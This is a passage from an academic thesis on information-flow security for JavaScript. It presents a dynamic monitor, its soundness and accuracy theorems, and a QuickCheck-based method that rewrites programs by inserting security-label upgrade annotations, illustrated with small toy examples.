that cannot be branched on later in the execution. Austin and Flanagan [12] dis-
cuss inserting privatization operations, which are akin to our upgrade commands.
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The insertion takes place when a variable that was previously upgraded in secret
context is about to be branched upon. Magazinius et al. [98] show how to inline
a no-sensitive upgrade monitor into programs in a language with dynamic code
evaluation.

Bohannon et al. [28] present a flow-insensitive static analysis for JavaScript-
like event systems. Rafnsson and Sabelfeld [119] model event hierarchies
and present a hybrid of flow-sensitive static analysis and transformation that
guarantees that at most one bit is leaked per consumed public input. Besides
the natural differences on dynamic vs. static analysis, our event implementation
can be seen as a simplified version of Rafnsson and Sabelfeld’s event model.

JavaScript semantics The literature includes two major approaches to formal-
izing the semantics of JavaScript.

On one hand, Maffeis et al. [93] give a detailed semantics for full JavaScript.
It is a full account of the ECMA-262 standard (v.3) [55], which faithfully models
the, sometimes slightly unusual, behavior of JavaScript programs.

On the other hand, Guha et al. [69] present a semantics claimed to capture the
essence of JavaScript. They provide a core functional language that shares some
similarities to the semantics of Maffeis, but deviates in a number of important
places regarding the modeling of variables and functions.

Yu et al. [156] also formulate a semantics in terms of a lambda calculus.
Contrary to Guha et al. [69], no attempt at faithfully mimicking JavaScript scoping
is made, thus avoiding key problems associated with JavaScript.

Our semantics is closest to that by Maffeis et al, with the obvious difference of
instrumentation with information-flow checks. Nevertheless, we expect that our
transparency theorem also holds against the semantics by Maffeis et al. Compared
to the semantics of Guha et al., using a variable environment chain requires more
heavyweight formalism. However, it has the benefit that it is able to deal with
the entire (complex) scoping behavior of JavaScript, including with. This is
challenging to model in the semantics of Guha et al., as noted by them. In addition,
being close to the standard makes it natural to verify that the semantics is faithful
to the JavaScript semantics.

Our subset of JavaScript is distilled to illustrate the main challenges for
tracking information flow. Hence, our work is not a safe sub-language approach
like Caja [105], FaceBook JavaScript (FBJS) [60], ADSafe [45], Gatekeeper [66],
or the approach by Guha et al. [68]. Further, we chose to be faithful to the latest
version (5) of the ECMA-262 standard.

Empirical JavaScript studies On the other side of the spectrum there is
empirical work where the goal is not soundness but catching information-flow
attacks in the wild. Vogt et al. [146] implement a static flow-sensitive information-
flow analysis to crawl around 1,000,000 popular web sites and, after white/black-
listing 30 web sites, detect suspected attempts for cross-domain communication
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in 1,35% of the sites.
Jang et al. [77] focus on privacy attacks: cookie stealing, location hijacking,

history sniffing, and behavior tracking. The analysis is based on code rewriting
that inlines checks for data produced from sensitive sources no to flow into public
sinks. They detect a number of attacks present in popular web sites, both in custom
code and in third-party libraries.

We believe that the road to bridging the gap between formal and empirical
approaches is dynamic information-flow tracking. For a language like JavaScript,
static analysis is hardly feasible, as argued by this paper and others [143], while
dynamic analyses provide possibilities for precisely recording relations between
data in a given trace. The FlowSafe [57] project at Mozilla takes a similar
(dynamic) path.

Secure multi-execution In an orthogonal yet promising effort, Devriese and
Piessens [54] investigate enforcement of secure information by multi-execution.
Multi-execution runs the original program at different security levels and carefully
synchronizes communication among them. Multi-execution is secure by design
since programs that compute public input only get access to public input. Bielova
et al. [24] implement secure multi-execution for the Featherweight Firefox [29]
model. Austin and Flanagan [13] propose faceted values to model secure multi-
execution within a single run. Each value facet corresponds to the view of the
value from the point of an observer at a given security level. They show that this
approach is semantically equivalent to secure multi-execution for a λ-calculus
with mutable reference cells. An advantage of this approach with respect to
multi-execution is that a single faceted execution simulates as many non-faceted
executions as there are elements in the security lattice. However, faceted values
have to deal with the problem of tracking control flow (which is a non-issue
in original secure multi-execution). It is not clear how to scale faceted values
to handle exceptions. For the secure multi-execution approach as a whole, it
remains to be investigated whether silent modification of behavior with respect
to the original program (such as reordering communication events) is an obstacle
in practice.

2.7 Conclusion
We have developed a dynamic type system for enforcing secure information flow
for core features of JavaScript: objects, higher-order functions, exceptions, and
dynamic code evaluation. Our semantic model closely follows the choices of the
ECMA-262 standard (v.5) on the language constructs from the core. We have
established a formal guarantee that the type system guarantees noninterference.
In addition, we have illustrated our results with two prototype implementations
that show that our framework is powerful enough to support functionalities
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of JavaScript’s API from the document object model (DOM) without loss of
precision. As a result, we improve on previous work both with respect to modeled
language features and permissiveness of the enforcement.

As argued in Section 2.2, our results provide a solid platform for tackling the
rest of JavaScript. We believe that the technical material developed in this paper
suffices to support the remaining constructs of JavaScript with minor extensions.

In accord with the formalization development, we pursue implementation in a
form of a JavaScript execution monitor. Future work includes an evaluation of the
permissiveness as well as the performance overhead of the monitor.
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3 Boosting the Permissiveness of Dynamic Informa-
tion-Flow Tracking by Testing

3.1 Introduction
In a dynamically loaded web mashup that involves sensitive information from sev-
eral parties, how do we prevent information leakage? A web mashup consolidates
independent web services, potentially by mutually distrusting providers, into an
integrated web service. For example, a web mashup to display the location of
secret objects (say vehicles collecting cash from ATMs) might make use of a map
service (such as Google Maps) for enhanced visualization. The map service code
needs access to the secrets in order to display them. At the same time, the map
service needs access to its servers to load new map components on demand. How
do we ensure that the map service does not leak secrets back to its servers?

The state of the art in web mashup security [131] leaves the question open.
A range of approaches from separation to full integration has been suggested,
tailored to web mashup scenarios such as online ads, where access-control policies
are sufficient. However, the problem of tracking information in mashups after
access has been granted remains largely unsolved. Of particular challenge is
handling the dynamic nature of programming languages like JavaScript that
manipulate information in web mashups.

With the above scenario as our long-term motivation, the goal of this paper is
a practical mechanism for tracking information flow in dynamic languages.

It might seem natural to address dynamic languages with dynamic analysis.
Dynamic enforcement of secure information flow can be done similarly to
dynamic type checking: values are decorated with labels representing the security
of each value, and for each operation the labels are checked at runtime. The data
labels may change over time, which means that the analysis is flow-sensitive.

Flow-sensitive enforcement is one where an assignment such as x := e
propagates the security level of the expression e to the variable x. On the other
hand, a flow-insensitive system assigns security levels that do not change. Such
a system disallows the assignment if the level of the expression is not at least as
restrictive as the level of the variable. Flow-sensitivity allows an information-flow
policy to be specified in terms of sources, where information enters the system,
and sinks, where information exits the system, rather than on syntactic variables
inside the program. This frees the programmer from explicitly managing security
levels of local variables. Since variables can be reused for different purposes,
flow-sensitivity also has the potential of accepting more programs that are secure.

However, there are well-known fundamental limits of dynamic flow-sensitive
tracking of information flow [61, 146, 34, 129]. Flow-sensitivity introduces a
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channel for leaking information though the labels themselves, which is possible
to exploit even though labels may not be observable in the language.

public = 1; temp = 0;
if (secret) temp = 1;
if (!temp) public = 0;

Figure 3: Flow-sensitivity
attack

Consider the program in Figure 3, assuming
secret to hold 0 or 1 initially. The program copies
secret into public. However, a purely dynamic
monitor faces challenges to detect this flow. Indeed,
when secret is 1, then public is never accessed after
branching on secret. When secret is 0, then the
assignment of 0 to public takes place inside of a
conditional that branches on a variable temp that
has not been touched since its initialization. In both cases, the problem is the
branches that are not executed, which are missed by purely dynamic analysis.
In general, it is not possible to have sound dynamic flow-sensitive information-
flow enforcement that is strictly more permissive than flow-sensitive static
analysis [129].

This implies that a purely dynamic information-flow monitor must be either
unsound (i.e., there are false negatives) or imprecise (i.e., there are false positives
that are accepted by static analysis). In this design space, the no-sensitive-
upgrade [158, 11] discipline shows how to achieve soundness. This discipline
states that the original label of a variable under assignment must be taken into
account, and if it is not at least as restrictive as the level of the control-flow
context, upgrading its level is disallowed. With this discipline, the program above
is stopped if it reaches the assignment to temp because it attempts an upgrade in
the secret control-flow context.

Hence, no-sensitive-upgrade provides soundness at the price of permissive-
ness. Of particular concern is that for programs like one in Figure 3, the permis-
siveness of monitoring is worse than that of static analysis. Indeed, flow-sensitive
static analysis [76] is able to detect the flow in the program above, and ensure
that both temp and public become secret after the conditional. On the other hand,
secure programs with flow-sensitive manipulation of dynamic data structures are
out of reach for static analysis, implying that many interesting programs are re-
jected due to the crude approximation by static analysis. This means that neither
static nor dynamic analysis as is provide a satisfactory solution to the problem of
false positives.

This paper shows how to achieve the best of the two worlds without resorting
to full-scale static analysis. We overcome the permissiveness limit for dynamic
analysis by a novel use of testing. We show that testing boosts the permissiveness
of dynamic information-flow enforcement by discovering places in code for
automatic injection of upgrade annotations. Upon discovering a security error, the
program is modified by injecting an annotation that prevents the same security
exception on the next run of the program. Further, we show that when the
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mechanism has discovered the necessary annotations, then we have an accuracy
guarantee: the results of monitoring a program are at least as accurate as flow-
sensitive static analysis. The process leads to a program that is never blocked by
the monitor because sensitives upgrades have been “tested away”. Importantly,
eradicating sensitive upgrades is not at the price of unnecessarily pushing up
security levels for data: we show that the levels are never pushed above what
is demanded by the static approach. This allows us significant reduction of false
positives while in total absence of false negatives.

The elegance of the approach is that it is sound no matter how much coverage
is provided by the testing. In contrast to fuzzing or vulnerability and penetration
testing, it is not the original program that is tested but its monitored counterpart.
This guarantees security, thanks to the soundness of the monitor. As discussed
above, we gain permissiveness in the sense that the monitor stops less programs
and accuracy in the sense that the results of monitoring a program are at least as
accurate as flow-sensitive static analysis.

We illustrate our approach for a simple imperative language with references
and exceptions. Our experiments with the random testing tool QuickCheck [40]
indicate that random testing accurately discovers annotations for a collection
of scenarios with rich information flows. We are able to further enhance the
permissiveness by delayed upgrades, which records the reference to be upgraded
but does not perform the actual upgrade until just before entering sensitive context.

We envision that our method can be applied most productively during the
software development and testing phase, when our approach can help discovering
upgrade annotations before the code is shipped.

3.2 Background
The dynamic features of languages like JavaScript offer on their own a compelling
argument for dynamic information-flow enforcement. In addition, independent of
language features, functionality provided by the execution environment may pose
challenges for static analyses. Consider, for instance, the API provided by the
DOM [74] in combination with Google maps. When creating a new Google map
we need to pass the part of the page where the map should be drawn. Typically,
this is done by assigning an id to the element and fetching it with getElementById
as illustrated below.
<script type="text/javascript" label="google">

new google.maps.Map(document.getElementById("map_canvas"));
...

<div id="map_canvas" label="google"></div>
<form>
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From an information-flow perspective we want to enforce that the Google code
is only allowed send back the parts of the page labeled ’google’. This entails that
the analysis must treat getElementById differently depending on which element is
fetched (something which cannot be statically decided in general — in particular
since the page may be dynamically changing). For a dynamic analysis this poses
no problem, since the elements are tagged with their labels.

Speaking more generally, dynamic analysis has the ability to handle data
with dynamic structure, e.g., heaps, with high precision. Consider the following
example, where l1 and l2 are aliases.
l1 = new {}; l1.f = 1; l2 = l1; l2.f = h;

A flow-sensitive static analysis must take the alias into account and update the
type of both l1, and l2. In general aliasing is not decidable, and the program
would be rejected by static analyses like Jif [110]. Dynamic analyses do not have
this problem, since the label of f is stored with the value of f .

However, as shown in the introduction, dynamic enforcement of secure
information flow has fundamental limits for flow-sensitivity under secret control.
Secret control or secret context refers to the commands inside conditionals
and loops with guards that contain secrets. Promising steps in the direction
of overcoming these limits are privatization operations [12] or upgrade [73]
commands that enable the upgrade of labels before entering secret contexts. This
work makes use of upgrade commands for the security levels of values (upg), the
structure of heap objects (upgs) and exceptions (upge), all explained below.

Values Consider the following example, where the public variable l is assigned
to under secret control. This causes the monitor to block on a sensitive upgrade.
if (h) l = 1;

By inserting an upgrade that upgrades the label of l before the execution of the
conditional we make sure that execution is not stopped.
l = upg(l,secret); if (h) l = 1;

Structure If structured data, like records, is changed under secret control the
structure of the data may encode secrets. In general, the security labels associated
with the different parts of structured data might not be enough to model the
security level of the structure. The reason for this is that not only the presence
of certain data may encode secrets but also the absence, and it’s not necessarily
the case that the security level of the absence of data can be read from the security
level of the presence of other data. In such cases, if the absence is visible to the
program, the security model of the structured data must be extended to model
absence.
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Using records as an example, consider for instance the following program,
where the field f is added to o depending on the secret h.
o = new {}; if (h) o.f = 1;

Following the general explanation above, after execution, the presence or absence
of f encodes the value of h. In the case h is true the field f will be present, and
the fact that its presence is secret is recorded in the security label of the value of
f . However, in the case h is false the field f will not be present and its absence
encodes information about h. Since the absence of fields is visible via record
projection, as is explained in Section 3.3, records are equipped with a structure
label. The structure label of records can be understood as an upper bound of the
context in which the record may have been modified, or in the terms of absent
fields as the upper bound on the security level of the non-existence of the absent
fields.

Returning to the example above, o has public structure, which causes the
execution of the secret conditional of the example to be stopped — adding a
field would require upgrade of the structure label under secret control. In order
to allow for the addition, the structure of the record can be upgraded before the
secret context.
o = new {}; upgs(o,secret); if (h) o.f = 1;

Exceptions Exceptions pose a significant challenge for secure information flow
due to the non-local transfer of control. In the example below the value of h is
copied into l.
try { if (h) throw; l = 0; } catch { l = 1; }

The standard static solution to this is to type commands following a potential
exception in a secret context as under secret control [115, 108]. Since the majority
of commands in languages like JavaScript can cause exceptions and due to the
possibility of non-local transfer of control this can cause a significant amount of
code to be typed under secret control. Following [73] we adopt a more permissive
discipline and introduce a special exception label that tracks the level at which
exceptions are allowed to be thrown. Initially, the exception label is public, which
allows the body of the try above to execute in public context (in the case h = 1
the monitor will stop with a security violation). To allow for exceptions in secret
contexts the language provides an upgrade, which can be inserted before the secret
context as follows.
try {

l = upg(l, secret); upge(secret);
if (h) throw;
l = 0;

} catch { l = 1; }
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This upgrade causes the subsequent commands of the try, and of the handler to be
considered to be a secret context. After the try, the exception label is once again
lowered.

Manual upgrade annotations open the possibility of improving the permis-
siveness of the monitored program. However, they come at a price of placing the
heavy annotation burden on the programmer. It forces the programmer to be aware
of the monitor the programs will run under. As this is undesirable, and sometimes
impossible (e.g., with legacy code), our goal is to fully relieve the programmer
from the annotation burden. With the background set, we proceed to describe a
method that applies testing for automatically discovering and injecting upgrade
instructions to boost the permissiveness of the monitor.

3.3 Monitor and rewriting
This section introduces the language — a simple JavaScript-inspired language
with records and exceptions, its monitor semantics, which is essentially a distilled
version of the monitor of [73], and establishes the soundness of the monitor.

3.3.1 Syntax and semantics

Figure 4 shows the syntax of expressions and commands, as well as supporting
structures. Values v consist of strings, numbers, a special value undefined,
together with the pointers. Records are maps from values to values, and the heap
µ is a partial map from pointers to records. A reference is a pair of a pointer and
a value, referring to a particular field in a record.

Values stored in records, as well as the components of a reference, are
decorated with a security label σ; the structure label of records is written after
the semicolon inside the curly braces.

As is common [53, 148] we assume that the labels form a predefined lattice,
and do not consider the case where labels are not know a priori or where the
structure of the lattice can be modified dynamically. Without loss of generality,
we will use a simple two-level lattice described by public v secret, where v
denotes the lattice order. Let t and u denote least upper bound, and greatest
lower bound, and let ⊥ and > denote public and secret labels.

Expressions consist of literals for the primitive values, variables, projections
of records, and pure binary operators. Lefthand sides make up a subset of expres-
sions that can be assigned to, and will evaluate to references. Righthand sides of
assignments can be expressions or record allocations, optionally annotated with
an explicit upgrade of the value or structure label.

The commands are standard, apart from the upge command, which upgrades
the current exception label. Variables represent string-keyed fields in a distin-
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Expressions e ::= n | ’s’ | x | e[e] | undefined | e ∗ e
Pointers p ∈ N0
Values v, w ::= n | ’s’ | undefined | p
References ρ ::= (pσ , vσ)
Lefthand sides l ::= x | l[e]
Righthand sides r ::= e | new {} | upg(r, σ) | upgs(r, σ)
Records o ::= {v 7→ vσ , . . . , v 7→ vσ ;σ}
Heap µ : Pointers ↪→ Records
Commands c ::= skip | l := r | c ; c | upge(σ)

| if e then c else c | while e do c | try c catch c | throw

Figure 4: Notation and syntax

guished record µ(0). This record, referred to as the global record, is in line with
how variables are handled in JavaScript and simplifies the semantics.

Evaluation and dereferencing is detailed in Figure 5. We write [[·]]µ for the
evaluation of expressions and lefthand sides in a heap µ. This evaluation returns
either a labeled value or a reference and is free of side-effects. Dereferencing
a reference further resolves it to a value by looking it up in the heap. The
dereferenced value has a label that takes into account also the security labels of
the expressions used to build the reference itself. This ensures that values that
are reached via secret pointers have a secret label. Dereferencing is written (·)∗µ,
and for convenience we define it for values as identity and write [[e]]∗µ instead of
([[e]]µ)∗µ.

Dereferencing a non-existing field succeeds with the undefined value. This
means that the existence of fields can be probed by record projection.

Note that evaluation and dereferencing are not total functions. In particular,
the expression e1[e2] is not valid if [[e1]]∗ is not a pointer value. In our formalization
such cases cause the evaluation to get stuck, while in practice they might result in
throwing reference exceptions.

Let E denote environments, consisting of pairs of a heap and an exception
label. We define the semantics of the language and the monitor as a big step
relation →. An initial configuration 〈 c | pc, E 〉 consists of a command c, a
security label pc, and an environment E. The label pc represents the level of
the current control context, and is updated by conditional branches and iteration.

The relation → relates an initial configuration to an execution result, if one
exists. A terminating execution of a command c in an environment E may result
in one of the following: (i) In the case of successful termination, the term Ok E ′,
where E ′ is the resulting environment. (ii) In the case of an uncaught exception,
the term Throw E ′, where E ′ is then environment in which the exception was
thrown. (iii) A security stop Stop(t, σ), where t is either a reference to a field
(p, w), the term struct(p) representing the structure label of a record, or exception
representing the runtime exception level.
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[[n]]µ = n⊥ [[s]]µ = s⊥ [[undefined]]µ = undefined⊥ [[x]]µ = (0⊥, ’x’⊥)

[[e1 ∗ e2]] = (v1 ∗ v2)σ1tσ2 where vσ1
1 = [[e1]]∗Âă and vσ2

2 = [[e2]]∗Âă
[[e1[e2]]]µ = (pσ1 , vσ2 ) where pσ1 = [[e1]]∗µ, and vσ2 = [[e2]]∗µ

(vσ)∗µ = vσ (pσp , wσw )∗µ =
{
vσptσwtσv if µ(p) = {. . . , w 7→ vσv , . . . ;σs}
undefinedσptσwtσs otherwise and µ(p) = {. . . ;σs}

Figure 5: Evaluation and dereferencing

A stop indicates that the program has reached a point, where the corresponding
entity requires at least the security level σ for the monitor to be sound. For
instance, attempting to write to a public field under secret control results in a
Stop((p, w),>), where (p, w) identifies the field, and > signifies that the field
must be at least> for the write to be accepted. Similarly, attempting to add a field
to a record with public structure under secret control results in Stop(struct(p),>),
where p identifies the record that must be have secret structure for the addition
to be accepted. Finally, attempting to throw an exception under secret control
with a public exception level results is Stop(exception,>), indicating that the
exception level must be > for the exception to be accepted. From such a stop and
its corresponding execution tree, we determine a location in the source program
where an explicit upgrade command needs to be inserted to avoid that particular
stop. This process is described in Section 3.4.

Unlike expressions, the evaluation of righthand sides can have side-effects,
and we use the same relation notation → as for commands for the evaluation of
righthand sides. Evaluation of a configuration 〈 r | pc, E 〉 can result in a labeled
value and an updated environment Ok(vσ, E ′), or a security stop Stop(t, σ), which
carries the same meaning as above. Evaluation of a righthand side can never throw
an exception.

For space reasons, the full set of inference rules defining the semantics can be
found in the full version of this paper [27]. To give the reader an insight into the
monitor, we exemplify with the rule for successful execution of the internal #put
operator, which handles record updates.

PUT

[[l]]µ = (pσp , wσw) µ(p) = {. . . , w 7→ vσ0
0 , . . . ;σs}

(pc t ε t σp) u σw v σs pc t ε t σp t σw v σ0

o′ = µ(p)[w 7→ vσvtpctεtσptσw ;σs t σw]
〈#put(l, vσv) | pc, µ, ε 〉 → Ok(µ[p 7→ o′], ε)

#put(l, v) is an internal command that performs the writing part of assign-
ments, writing a value v to a field represented by the lefthand side l. The eval-
uation is split into three cases: one succeeding and two stopping. To allow the
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update we require that σ0, the previous label of the value, is above the control
context, as well as above the combined labels of the reference from l. In addition,
since writing with a secret key can affect the structure, the key’s security label σw
must be added to the structure label of the record. For this reason we demand that
if σw is secret then either pc t ε t σp is public, or the structure label of the record
σs is secret. These conditions ensure that the label of the value is independent of
secrets. When they are satisfied, the record is updated with the new labeled value,
its label raised to include the control context and the reference labels. The cases
where the conditions are not satisfied correspond to the two stopping cases: one
demanding the upgrade of the value of the field, and one demanding the upgrade
of the structure label.

3.3.2 Soundness

As is common [148], we use termination-insensitive noninterference (TINI) as
our semantic security condition. TINI offers the possibility of liberal enforcement
well suited for dynamic monitors, while only allowing low-bandwidth leaks. Like
other typical semantic security conditions TINI is undecidable.

Noninterference can be stated as the preservation of a family of low-
equivalence relations under execution. For languages with heaps, the family is
indexed over a bijection on low-reachable pointers ensuring that the low-reachable
parts of low-equivalent heaps are isomorphic. Low-equivalence guarantees that
low-reachable public values are equal — for the secret parts no demands are
made. In addition it guarantees that the labeling is independent of secrets. For
space reasons, the low-equivalence relation ∼ can be found in the full version of
this paper [27].

TINI states that successful execution in low-equivalent environments results
in low-equivalent environments. Let C denote any non-Stop configuration.

Theorem 1 (TINI). For any program c, β, and two heaps µ1 and µ2 such that
µ1 ∼β µ2, we have that if 〈 c | ⊥, µi,⊥〉 → Ci for i = 1, 2 then there is a β′ such
that C1 ∼β′ C2.

This means that the resulting (low-reachable) public parts of the heap are
independent of secrets; whatever choice of secret values in the initial heaps, the
produced results are equal in their public values. The proof of this and further
theorems are contained in the full version of the paper [27].

3.4 Rewriting
To improve the permissiveness of the dynamic monitor, executions resulting in
stops (found by, e.g., testing) are used to patch the program with explicit upgrades
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to prevent the stop from occurring again.
A heap is called initial if it contains no records other than the global record,

itself containing only primitive (non-pointer) values. Let µ0 range over initial
heaps. Given a derivation tree of an execution 〈 c | ⊥, µ0,⊥〉 → Stop(t, σ), the
different cases for t dictate how the program needs to be rewritten in order to
prevent that particular stop.

case t = (p, w): This stop indicates that the program attempted to assign to the
field w of the record at heap location (with pointer) p, which would have resulted
in upgrading its existing security level in secret context, or over a secret reference.
In order to make this run succeed, the field must be explicitly upgraded.

In the case that p = 0, i.e., the upgrade refers to a variable in the program. The
execution tree is used to see where the program entered the secret context in order
to insert an upgrade command just before that point. In this case w is a string
value with the name of the variable, which is converted to an identifier x and the
command x := upg(x, σ) is inserted before the secret context.
if (h) l = 1; y l = upg(l,secret); if (h) l = 1;

If p 6= 0 however, the reference is to a field in a record other than the global
record, and may be built from a lefthand side containing arbitrary expressions.
Building an upgrade command that refers to the same field at a different place in
the program requires complex tracking of heap mutations. Instead of inserting an
upgrade command before an enclosing conditional, the execution tree is used to
find an assignment to the field in a public context and over public pointers. Such
an assignment exists, because the record is not in the initial heap, and the stop
indicates that the field of the record must already exist with a public label. This
implies that the field was added in a public context over a public pointer. The
assignment is converted to an upgrade, by wrapping its righthand side with upg
and the label σ. This ensures that the field is labeled as secret from that point in
the program.
o = new {}; o.f = 0; if (h) o.f = 1; y

o = new {}; o.f = upg(0, secret); if (h) o.f = 1;

case t = struct(p): This stop indicates that an upgrade of a record’s structure
label was needed in secret context, or over a secret pointer. Similar to the second
case above, the structure of the record must be upgraded in a public context over
a public pointer. The execution tree is used to find the last assignment satisfying
these properties where p was the value of the assignment’s righthand side, and
wrap that righthand side with upgs and the appropriate label. Such an assignment
must always exist, as the only record existing in the initial heap is the global record
which always has secret structure. Hence p must point to an allocated record, and
it must have been allocated in a public context—otherwise the structure of the
record would already be public.
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o = new {}; if (h) o[h] = 1; y o = upgs(new {}); if (h) o[h] = 1;

case t = exception: This stop is generated when the program attempts to
throw an exception in a context where the exception label ε is not above the pc.
To make this execution succeed, the exception label must be upgraded whether
the secret branch is entered or not. The execution tree is used to determine
the syntactic if or while command in which we enter secret control, and the
program is patched by inserting an upge(σ) before this command.
if (h) throw; y upge(secret); if (h) throw;

In what follows, we will refer to one step of the above process as a rewriting
relation on programs. If 〈 c | ⊥, µ,⊥〉 → Stop(t, σ), then we say c yµ c

′ where
the program c′ is obtained by applying the above rules on the proof of the stopped
execution. If 〈 c | ⊥, µ,⊥〉 → C let cyµ c.

The process above describes how to rewrite the program to make one failing run
succeed. Of course, there may be other failing runs so this process is iterated. Let
S be a set of initial heaps and let yS be a relation on programs such that cyS c

′

iff there exists a heap µ ∈ S such that cyµ c
′ and c 6= c′.

Theorem 2 (Termination). For any set S of initial heaps, any sequence

c0 yS c1 yS c2 yS · · ·

terminates, i.e., there is an n such that cn yµ cn for all µ ∈ S.

The theorem is straightforward, considering that the number of possible
upgrade commands, as well as the number of locations they may be inserted are
bounded given the rewriting procedure above in a finite lattice of security levels.

For a given set S of initial heaps rewriting will produce a program that the
monitor will not stop when run in any of the heaps in S. A program is non-
stopping if the monitor does not stop execution for any initial environment. Under
the assumption that all values, including strings, have finite domains (which is the
case in all practical settings, due to hardware limitations) rewriting can be used to
find non-stopping programs.

Theorem 3. Let T be the set of all initial heaps. The result of rewriting based on
T is non-stopping, i.e., for cy∗T c′, it holds that c′ is non-stopping.

3.5 Accuracy
Consider the security labeling of the execution environment under execution. We
say that a labeling is more accurate than another if is at least as permissive, and it is
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not more secret. In this section we establish that upgrade injection does not result
in a security labeling that is less accurate than that of a standard flow-sensitive
static type system; the contrary, however, is possible.

To show accuracy we adapt a standard flow-sensitive information-flow type
system [108, 110] to the language in Figure 4 and establish its soundness. For
space reasons the development of the type system and its soundness can be found
in the full version of this paper [27].

The type language consists of two different types: primitive types, and record
types. Primitive types are security labels or security labeled record type names.
The use of names to make recursive record types inductive is common practice,
and their meaning in terms of record types is given by a map ρ from record type
names C to record types. Finally, record types are maps from values to primitive
types. Let Γ,∆ ::= (C, ε) denote environment types and exception environment
types respectively, where C is the type of the global record, and ε is the exception
level.

The type judgments for commands are of the form pc,Γ1 `∆ c ⇒ Γ2. The
judgment is read: the command c is well-typed in security context pc, environment
type Γ1 and exception environment type ∆ yielding environment type Γ2. The
intuition is that if c is run in environments that correspond to Γ1 the result will
correspond to either Γ2 or ∆ depending on whether the execution was successful
or resulted in an exception.

With this we can formulate the accuracy result: rewriting executions of well-
typed programs results in well-typed programs w.r.t. the same entry and exit
environment types.

Theorem 4 (Accuracy). For any program c1 and initial heap µ such that
⊥, C,⊥ `∆ c1 ⇒ Γ and δ ` µ : C,⊥ we have that if c1 yµ c2 then
⊥, C,⊥ `∆ c2 ⇒ Γ.

The result implies that the rewriting process produces programs that will be
at least as accurate as a standard static type system. In many cases the upgrade
injection together with dynamic monitoring will be more accurate. This is due to
the possibility of flow-sensitive heap entities, the presence of dead code, or the
possibility of value dependent labels as an example in the next section will show.

3.6 Implementation
We have implemented the monitor from Section 3.3 in Haskell. The implementa-
tion uses QuickCheck [40] to generate random initial heaps and perform the iter-
ative process of finding stopping executions and automatically injecting upgrade
commands into the input program.
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When the monitor encounters the situation that an upgrade is needed but the
control-flow context, the exception label or the reference used does not allow it,
it stops the execution and conveys this information back to the test runner. The
test runner uses this, together with an execution trace collected during the run, to
determine a syntactic location in the original program where an upgrade command
is inserted.

QuickCheck uses generators to perform random testing of Haskell code, by
generating test cases and checking if user-supplied properties hold for it. Our
implementation allows for descriptions of generators of initial heaps, where both
existence, value and labeling of initial variables can be randomized. The monitor
is then tested against the property that running a given program does not result in
a security stop. When QuickCheck finds a stopping case, the test harness rewrites
the program and restarts the testing process.

Our experiments have shown that performing this iterative process yields a
rewritten program where enough upgrades have been inserted so that no initial
heap results in a stopped execution. Below we present some of the more
illustrative experiments which run using an initial heap description that labels h as
secret boolean (i.e., a number with values 0 or 1) and l as public.

Experiment 1: Consider the example of Section 3.1; the implementation
discovers the stopped runs where t and l are upgraded in secret context, and
inserts the needed upgrades immediately before each conditional. The resulting
program is shown below, where the two upgrades have been inserted where secret
context may be entered.
l = 1; t = 0; t = upg(t,secret); if (h) t = 1;
l = upg(l,secret); if (!t) l = 0;

Experiment 2: As described in previous sections, the existence of a field may
encode secret information. For this reason the monitor tracks the security level
of the structure of a record. Thus the program o = new {}; if (h) o[0] = 1; is
stopped by the monitor, and the rewriter turns this stop into the program shown
in below. Adding the upgs makes adding a field in secret context safe, since any
later projections of non-existing fields will be labeled as secrets.
o = upgs(new {}, secret); if (h) o[0] = 1;

Experiment 3: When writing to a field, it is not sufficient to consider only
the control context to determine if its value or the structure of the containing
record. The choice of field and record, which is written to, may depend on secret
information in the lefthand side used to refer to it. This is reflected in the security
labels of the reference built from the lefthand side, and is taken into account when
updating the record. Consider the following program.
o = new {}; o[0] = 0; o[1] = 0; o[h] = 1;
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First a new record is allocated and initialized to contain two zero-valued fields
with keys 0 and 1 resp. Thereafter, one of the fields is modified depending on the
secret value h. The assignment would label the modified field as secret, but this
would constitute an upgrade which itself depends on the value of h. Thus, the
implementation stops the assignment. Since h is a secret number with values 0
or 1 both fields (but not the structure) will be upgraded, resulting in the following
program.
o = new {}; o[0] = upg(0, secret); o[1] = upg(0, secret); o[h] = 1;

Experiment 4: The rewriter is also able to inject upgrades of the exception
label. Recall the program from Section 3.2, which attempts to leak h through
the use of exceptions. The implementation detects this and inserts an upgrade
of the exception label before entering secret context. This alone is not enough
to make the program run, since this upgrade now makes the assignments to l be
under secret control (recall that the exception label is considered part of the control
context). Thus, another iteration of rewriting is required to upgrade the variable l
itself as well.
try {

l = upg(l, secret); upge(secret);
if (h) throw;
l = 0;

} catch { l = 1; }

Experiment 5: When a variable needs to be upgraded, the upgrade is inserted
at the closest point in the program, where the context is strictly lower than the
target level. For lattices with more than two levels there is a risk that this upgrade
will trigger another stop, since the label of the value of the variable may be lower
than the label of the context at this point. This is intentional; instead of moving
the upgrade up, the stop is allowed to trigger another rewrite in the next iteration.
This results in a stepwise upgrade of the variable with the possibility of a more
accurate labeling.

Consider the left program of Figure 6, in which the variables pub, cls and sec
have corresponding security labels from a lattice with public v classifed v secret.
Here, the last assignment requires x to be upgraded to secret. If this is done at the
assignment x = 0, then the runs where cls is true will unnecessarily force cls to
be upgraded as well. However, x cannot be directly upgraded from public to secret
in the else branch, because that upgrade would be under classified control. This
in turn creates an upgrade of x to classified before entering the outer if-command.
The resulting program is shown on the right in Figure 6.

It is worth noting that this example improves on the precision of a static type
system. As seen from an observer at the classified level, it is a safely visible
decision which branch is taken in the outer conditional, but that decision depends
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x = 0;
if (cls) {

if (x) cls = x;
} else {

if (sec) x = sec;
}

x = 0;
x = upg(x, classified);
if (cls) {

if (x) cls = x;
} else {

x = upg(x, secret);
if (sec) x = sec;

}

Figure 6: Cascading upgrades

on the value. Standard type-systems for information flow are not value-sensitive,
and infers that x needs to be secret because of the potential assignment in the else-
branch. In a dynamic setting however, there is no need to upgrade x further than
to classified if that branch is not taken.

Delayed upgrades Upgrading a record field at the point of its last public
assignment may be premature. For example, consider the following program.
o = new {}; o[0] = 1; x = o[0]; if (h) o[0] = 42;

Labeling o[0] with secret right in the public assignment to it will unneces-
sarily cause the variable x to have a secret value as well. It is therefore too early
to upgrade o[0] before entering the secret control context. Instead, the upgrade
should be inserted before the conditional. However, note that o[0] may be any
lefthand side, involving arbitrary expressions, and it may not even be the same
one in both assignments. To build a syntactic lefthand side that refers to the same
field as o[0] at a different program point is not possible in general.
o = new {};
o[0] = upg(1, secret, L1);
x = o[0]; // still public
L1: if (h) o[0] = 42;

Instead, the implementation uses a technique that avoids premature upgrading
via delayed upgrades. We insert the upgrade command in the last public
